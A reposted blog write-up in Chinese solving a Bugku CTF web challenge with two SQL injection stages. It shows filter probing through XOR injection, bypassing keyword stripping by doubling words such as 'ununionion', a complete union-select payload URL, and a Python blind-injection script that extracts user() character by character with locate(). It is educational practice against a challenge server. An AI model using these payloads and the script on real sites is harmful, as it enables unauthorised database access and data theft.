Bugku的web題目(多次)的解題



這道題目我弄了好久,最后問了朋友,然后在朋友的幫助下,將flag找到了
這里寫一下解題方法,記錄一下

一進到這道題,看到了php?id=1,就很熟悉,很有可能是一道sql注入的題目,肯定是要試一下最簡單的測試,(哪怕知道不可能是什么都沒有過濾)

單引號出錯


多加一個%23,發現不出錯了


加上’ and 1=1%23
又出錯了,可能是過濾了,但是不知道過濾了什么

這里有一個很好的方法知道過濾的是什么
使用異或注入

在id=1后面輸入 '(0)'
發現不出錯,那就將0換成1=1
如果出錯,那就是成功了

通過驗證是可以的
也就是說,如果括號里面的判斷是假的,那么頁面就會顯示正確
那么同理,如果我修改里面的內容為length(‘union’)!=0
如果頁面顯示正確,那就證明length(‘union’)是等於0的,也就是union被過濾了

發現確實是這樣,那就可以在這里進行判斷,看看到底那些函數被過濾了
最后發現union,select,or,and被過濾了
limit,from沒有被過濾

嘗試繞過過濾,既然union這些都是被過濾掉了
那構造ununionion 一旦union被過濾,刪除了,那剩下來的還是union,這樣就可以起到作用了

經過測試,用那個方法,確實可以
最終的payload為
http://120.24.86.145:9004/1ndex.php?id=1' anandd 1=2 uniounionn selecselectt 1,2%23
還是一個回顯的

然后測試,找到了一個表為flag1,列名為flag1

出來一串不知道是什么東西的數據
然后就繼續查找,因為提示說有2個flag,那就是還有一個
最后在address這個列里面找到一個網址

點擊進去發現
這道題還沒有做完,前面的只是為了找這個鏈接……

這里還是一個考注入,那就常規測試一下,加上單引號

出現報錯,還是最常見的報錯,那就是要%23注析掉了

然后繼續測試其他的

1=2出錯

1=1正常

Order by 2也正常
一切都好順利

' union select 1,2%23
出現了過濾,把union過濾了
用之前的方法繞過

' uniunionon select 1,2%23
發現把select也吃掉了

那就測試一下看看還有那些函數被過濾了
直接在id后面輸入函數就可以知道,因為有回顯我們輸入的數據

id=1 union select limit from and or where if sleep substr ascii
發現 union sleep substr被過濾了
那就是不能回顯,substr也不能用了

我這里用了一個不常用的函數locate()
直接判斷查出來的數據里面有那些字符,然后將它們按順序排序

def user():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break  

完整代碼在我的GitHub里面有

GitHub


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM